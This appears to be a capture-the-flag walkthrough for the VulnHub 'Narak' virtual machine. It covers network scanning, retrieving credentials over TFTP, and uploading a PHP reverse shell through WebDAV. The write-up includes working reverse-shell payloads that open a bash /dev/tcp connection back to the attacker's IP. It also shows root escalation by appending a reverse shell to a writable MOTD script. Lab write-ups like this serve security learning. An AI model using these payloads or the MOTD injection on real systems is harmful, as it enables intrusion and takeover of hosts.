Target Objective

The mission is to retrieve two flags: user.txt and root.txt. The latter requires elevated privileges, necessitating privilege escalation after initial access.

Setup

• Attacker: Kali Linux (IP: 192.168.80.129)
• Target VM: Download from https://download.vulnhub.com/ha/narak.ova

Reconnaissance

1. Active Host Discovery
   Scan the subnet to locate live systems:

   nmap -sn 192.168.80.0/24
   

   Identified target at 192.168.80.130.

2. Port Scanning
   Quick scan for open ports:

   nmap --min-rate 10000 192.168.80.130
   

   Ports 22 (SSH) and 80 (HTTP) are open.

3. Service Detecsion
   Run detailed scan on discovered ports:

   nmap -sT -sV -sC -O -p22,80 192.168.80.130
   

   No immediate exploitable data revaeled.

4. UDP Probing
   Full UDP sweep showed no open ports, but scanning the top 20 UDP ports exposed some activity, indicating potential evasion tactics in default scans.

   nmap -sU --min-rate 10000 --top-ports 20 192.168.80.130
   

5. Directory Enumeration
   Use brute-force to discover web paths:

   gobuster dir -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -u http://192.168.80.130
   

   Discovered: /images, /webdav, /server-status. /images held only static assets. /webdav required authentication.

6. Extended Brute Force
   Include additional extensions:

   gobuster dir -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x zip,rar,txt,sql,php,html -u http://192.168.80.130
   

   Found /tips.txt. Access its content:

   curl http://192.168.80.130/tips.txt
   

   Hint points to credentials stored in creds.txt.

TFTP Exploitation

TFTP operates on port 69 and allows simple file transfers without authentication.

1. Connect and retrieve the credential store:

   tftp 192.168.80.130
   tftp> get creds.txt
   tftp> quit
   

2. Decode the retrieved file:

   cat creds.txt | base64 -d
   

   Yields username and password pair.

3. SSH login fails; credentials likely apply to WebDAV.

WebDAV Breach

WebDAV permits remote file operations over HTTP.

1. Test upload capabilities:

   davtest -url http://192.168.80.130/webdav -auth yamdoot:Swarg
   

   Confirms PHP execution is permitted.

2. Craft reverse shell payload (rev_shell.php):

   <?php system('/bin/bash -c "bash -i >& /dev/tcp/192.168.80.129/4444 0>&1"'); ?>
   

3. Upload using cadaver:

   cadaver http://192.168.80.130/webdav
   Username: yamdoot
   Password: Swarg
   put rev_shell.php
   

4. Start listener and trigger shell:

   nc -lnvp 4444
   # In browser or curl: http://192.168.80.130/webdav/rev_shell.php
   

   Gains low-privilege access.

Privilege Escalation to User Flag

1. Hunt wriatble files excluding pseudo-filesystems:

   find / -writable -type f ! -path "/proc/*" ! -path "/sys/*" ! -path "/var/*" 2>/dev/null
   

   Locate /mnt/hell.sh containing obfuscated Brainfuck code.

2. Decode the script: Save code to payload.bf and run:

   beef payload.bf
   

   Outputs string chitragupt.

3. Match against system users (/etc/passwd) and test SSH logins. Successful login as inferno.

4. Capture first flag:

   cat /home/inferno/user.txt
   

Root Privilege Escalation

1. Current user lacks sudo rights. Repeat writable file search:

   find / -writable -type f ! -path "/proc/*" ! -path "/sys/*" ! -path "/var/*" 2>/dev/null
   

   Finds write access to /etc/update-motd.d/00-header.

2. MOTD scripts execute on login. Inject reverse shell into header:

   echo '/bin/bash -i >& /dev/tcp/192.168.80.129/5555 0>&1' >> /etc/update-motd.d/00-header
   

3. Trigger via new SSH session:

   nc -lnvp 5555
   ssh inferno@192.168.80.130
   

   Receives root shell.

4. Read final flag:

   cat /root/root.txt